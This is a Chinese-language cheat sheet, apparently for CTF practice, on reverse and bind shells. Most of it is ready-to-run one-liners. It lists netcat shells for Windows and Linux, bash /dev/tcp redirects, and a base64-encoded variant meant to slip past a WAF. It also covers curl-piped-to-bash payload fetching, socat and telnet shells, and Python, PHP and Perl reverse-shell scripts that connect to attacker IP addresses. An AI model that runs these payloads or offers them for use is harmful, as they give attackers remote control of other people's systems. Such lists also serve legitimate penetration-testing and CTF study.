为什么要反弹shell

1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求

2、目标机端口被占用

3、目标机位于局域网,或IP会动态变化,攻击机无法直接连接

4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的

反弹shell的方法

Windows反弹shell

工具:netcat/nc

1、NC正向shell

控制端主动连接被控端

1
2
3
4
5
6
7
8
9
10
11
12
13
被控端:

nc -lvvp 6666 -e cmd.exe
-l 监听
-vv 显示详细信息
-p 指定端口

控制端:

nc 192.168.162.6666

原理:
被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

2、NC反向shell

被控端主动连接控制端

1
2
3
4
5
6
7
8
控制端:
nc -lvvp 6666

被控端:
nc -e cmd.exe 192.168.227 6666

原理:
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

Linux反弹shell

1、NC正向shell

1
2
3
4
5
6
7
8
9
10
11
12
13
被控端:

nc -lvvp 6666 -e /bin/sh
-l 监听
-vv 显示详细信息
-p 指定端口

控制端:

nc 192.168.162.6666

原理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

2、NC反向shell(做题一般是用反向)

1
2
3
4
5
6
7
8
控制端:
nc -lvvp 6666

被控端:
nc -e /bin/sh 192.168.227 6666

原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

3、bash反弹

1
2
3
4
5
6
7
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"

// base -i 产生一个bash交互环境
// >& 将联合符号前面的内容与后面相结合然后一起重定向给后者
// /dev/tcp/192.168.2.102/7777 linux环境中所有的内容都是以文件的形式存在的,将主机与目标主机 192.168.2.102:7777 端口建立一个**TCP连接**
// 将**标准输入**与**标准输出**内容相结合,然后重定向给前面标准输出内容

waf 时可以使用 base64 编码执行 bash 反弹 shell

1
2
3
4
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

// YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ== 解码结果为
// bash -i >& /dev/tcp/192.168.2.102/4444 0>&1

4、curl反弹

这里操作借助了Linux的管道,Kali开启 apache 服务,把 bash 命令写入 html 文件,只要文本包含 bash 一句话即可

1
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1

然后在目标机上执行如下命令

1
2
curl 192.168.2.103/bash.html|bash
curl ip:port|`ls|base`

5、whois反弹

1
2
whois -h 192.168.2.102 -p 4444 `pwd`
// 反弹的shell只能执行后面带的命令

6、socat反弹

1
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

7、telnet反弹

方法一:

1
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

方法二:

攻击机开两个监听

1
nc -lvvp 2333nc -lvvp 4000

目标机主动连接攻击机:

1
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

8、各种脚本反弹

本地开启监听:

1
nc -lvvp 2333

python 脚本

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php 脚本

1
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 脚本

1
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在实际的解题过程中,使用比较多的是nc反弹和bash反弹,使用条件是有一个公网IP来访问到本机。公网IP获取的方法,可以租服务器或者是做内网穿透

工具

1、花生壳内网穿透 花生壳管理 - 内网穿透 (oray.com)

2、ngrok内网穿透 Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

参考文章

内网穿透–五分钟完成搭建(从零开始)_本可奈何的博客-CSDN博客

反弹shell的方法总结 - FreeBuf网络安全行业门户

反弹Shell,看这一篇就够了 - 腾讯云开发者社区-腾讯云 (tencent.com)